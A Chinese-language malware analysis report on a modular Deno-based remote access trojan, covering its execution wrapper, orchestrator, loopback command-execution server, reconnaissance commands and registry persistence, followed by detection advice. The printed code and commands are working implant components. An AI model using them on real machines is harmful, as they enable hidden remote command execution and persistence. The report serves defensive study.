摘要
此研究報告深入剖析了一個利用 Deno 執行環境 構建的現代遠端存取木馬 (RAT) 框架。與傳統的編譯型惡意程式不同,此威脅利用模組化的 JavaScript 架構來繞過使用特徵碼的偵測,並且利用 Deno 環境的 granular 權限模型進行攻擊。我們分析了多個 concurrent process 的協調運作、用於模組間通訊的 local loopback 介面,以及利用 WebSocket 的命令與控制 (C2) 通道的實作。研究指出攻擊者如何從單體式的 malicious payload 轉向微服務導向的惡意軟體架構,以增強其韌性並增加鑑識分析的難度。
1. 簡介
惡意軟體開發的趨勢正從編譯後的二進位檔案,顯著地轉向高階腳本執行環境。Node.js 與 Deno 等執行環境提供了跨平台的靈活性,並能以極小的 footprint 執行複雜邏輯。Deno 特別被定位為一個 「secure-by-default」 的執行環境,需明確給予旗標才能存取網路、檔案系統及程序執行等權限。然而,近期鑑識證據 [1] 顯示,threat actor 正將這些安全特性武器化,用以建立高度模組化且具隱蔽性的 implant。透過將惡意功能拆分到不同的腳本中——每個腳本僅以最低必要權限執行——攻擊者得以規避端點偵測與回應 (EDR) 系統,因為這類系統通常聚焦於廣泛且高風險的程序行為。
2. 模組化架構與執行流程
本次分析的 RAT 框架由四個主要模組組成:協調器 (app.js)、C2 橋接器 (back.js)、命令執行引擎 (helper.js),以及 TCP 代理模組 (webui.js)。此設計仿效了微服務架構,每個 component 都扮演專門的角色。初始執行是透過一個無頭 (headless) 主控台 host 觸發,該 host 會以特定權限啟動 Deno 執行環境。
2.1 初始執行 Wrapper
下列指令展示了惡意軟體的進入點,它利用
conhost.exe
公用程式隱藏主控台視窗,同時賦予初始程序產生更多子程序的能力。
/*
Execution Wrapper: Launches Deno in headless mode.
--allow-run: Grants permission to spawn child processes.
app.js: The entry point orchestrator.
*/
conhost --headless C:\Users\user.name\AppData\Roaming\DenoJSEnv\deno.exe --allow-run C:\Users\user.name\AppData\Roaming\DenoJSEnv\app.js
2.2 協調邏輯 (app.js)
app.js
模組扮演主控器的角色。其主要職責是辨識執行環境,並以客製化的權限組合啟動其餘模組。此種 granular 的做法確保了,即便某個模組 (例如網路橋接器) 被標記,其他模組仍可能維持運作,或在獨立分析時看起來較不可疑。
- // Gets the path to the current Deno executable
- const fullPath = Deno.execPath();
- const workingDirectory = stripPath(fullPath);
- // Launch the C2 Bridge (Requires execution and network)
- // --unsafely-ignore-certificate-errors: Bypasses SSL/TLS validation for malicious C2
- const main = Deno.run({
- cmd: [fullPath, 'run', '--unsafely-ignore-certificate-errors', '--allow-run', 'back.js'],
- cwd: workingDirectory,
- stdin: 'null', stdout: 'null', stderr: 'null'
- });
- // Launch the TCP Proxy (Requires only network access)
- const proxy = Deno.run({
- cmd: [fullPath, 'run', '--allow-net', 'webui.js'],
- cwd: workingDirectory,
- stdin: 'null', stdout: 'null', stderr: 'null'
- });
- // Launch the RCE Engine (Requires execution and environment access)
- const exec = Deno.run({
- cmd: [fullPath, 'run', '--allow-run', '--allow-env', 'helper.js'],
- cwd: workingDirectory,
- stdin: 'null', stdout: 'null', stderr: 'null'
- });
3. 模組間通訊與遠端命令執行
此 RAT 的一項關鍵創新在於,使用本機 HTTP 伺服器進行程序間通訊 (Inter-Process Communication, IPC)。
helper.js
模組扮演一個無狀態的執行 API,監聽在 loopback 介面 (127.0.0.1) 上。此技術允許 C2 橋接器 (
back.js
) 只要對本機 helper 發送 POST 請求即可執行系統命令,有效地將網路通訊與命令執行邏輯分離開來。
3.1 RCE 引擎 (helper.js)
以下片段示範了惡意軟體如何實作一個類似 REST 的 API 來執行命令。透過綁定到 port 10021,它在內部建立了一個用於惡意活動的「本地微服務」。
- /*
- Local RCE Engine: Listens for commands on a local port.
- Hostname: 127.0.0.1 (Loopback only, avoids external exposure).
- Port: 10021.
- */
- Deno.serve({ hostname: '127.0.0.1', port: 10021 }, async (req) => {
- // Check if the request is a POST to the /exec endpoint
- if (req.method === 'POST' && new URL(req.url).pathname === '/exec') {
- const body = await req.json();
- // Spawns cmd.exe to execute the provided command string
- const commandParams = new Deno.Command('cmd', {
- args: ['/c', ...parseArgs(body.command)],
- stdout: 'piped',
- stderr: 'piped'
- });
- const { success, stdout, stderr } = await commandParams.output();
- // Returns the command output as a JSON response to the caller
- return new Response(JSON.stringify({
- success: success,
- stdout: new TextDecoder().decode(stdout),
- stderr: new TextDecoder().decode(stderr)
- }));
- }
- });
3.2 系統偵察
在初始連線時,
back.js
模組會執行一次自動化的偵察掃描。這些 data 對攻擊者了解網路環境並識別潛在的橫向移動目標至關重要。類似於
現代 C2 通訊研究
中討論的技術,這些 data 在傳輸前通常會經過加密或編碼,以規避流量分析。
Reconnaissance Sequence:
- set: Captures all environment variables.
- ipconfig /all: Details network interfaces and DNS.
- route print: Displays the local routing table.
- tasklist: Lists all running processes.
*/
const reconCommand = "set && ipconfig /all && route print && tasklist";
4. 持久性與規避技術
惡意軟體透過修改 Windows Registry 來確保其在系統上的長期駐留。它針對目前使用者的「Run」機碼,確保協調器 (
app.js
) 在使用者每次登入時都會被執行。這是經典但有效的 persistence 機制,在許多 RAT 變種中仍然普遍存在。
/*
Persistence Mechanism:
Adds a registry entry to the CurrentUser Run key.
Value Name: Deno_AutoRun.
Command: conhost.exe --headless [path_to_deno] --allow-run [app_js_path].
*/
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Deno_AutoRun /t REG_SZ /d "conhost.exe --headless <deno_path> --allow-run <working_dir>app.js" /f
4.1 混淆與 Payload 隱藏
對 JavaScript 檔案的靜態分析會受到一種稱為 「String Array Shifting」 或 「Array Rotation」 的技術所阻礙。此技術將所有敏感字串 (URL、命令、檔案路徑) 儲存在單一陣列中,並使用一個解碼函式在執行時期旋轉和取回它們。這與進階的 payload 隱藏技術 相似,該技術使用編碼 (Hex、Octal 或 Unicode) 來對靜態掃描器隱藏腳本的真實意圖。
5. 技術架構視覺化
模組化元件與外部 C2 伺服器之間的互動,如下列序列圖所示。這突顯了面向網路的
back.js
與專注於執行的
helper.js
之間的職責分離。
6. 比較與偵測策略
傳統惡意軟體常使用自訂的二進位協定或簡單的 HTTP polling,而使用 Deno 的 RAT 則透過 CloudFront CDN 使用 WebSocket。這使得流量能夠與合法的 web 應用程式流量混合,讓網路層級的防禦難以區分惡意流量與正常的 API 呼叫。此外,使用 local loopback HTTP 伺服器進行 IPC,是一種可以繞過許多僅監控外部連線的主機防火牆的技術。
為了防禦這類模組化威脅,組織應實施以下策略:
-
行為監控:
監控 Deno 或 Node.js 執行環境是否產生了
cmd.exe或powershell.exe,特別是當它們從使用者可寫入的目錄 (如AppData) 啟動時。 - Loopback流量分析: 檢查本地程序之間,在較高編號的 port (例如 10021) 上出現的不尋常本地 HTTP 流量。
-
Registry 稽核:
監控指向腳本執行環境的
Run與RunOnce機碼是否有變更。
7. 結論
利用 Deno 的 RAT 代表了惡意軟體設計的複雜演化。透過採用模組化、微服務般的架構,攻擊者成功地將一個現代化、預設安全的執行環境武器化。權限的 granular 使用,結合 Local loopback IPC 以及經 CDN 偽裝的 C2 通道,對傳統的安全邊界構成了重大挑戰。隨著技術研究持續揭露這些模式,很明顯地,防禦者必須將目光從二進位檔案本身,轉移到執行環境的行為特徵上。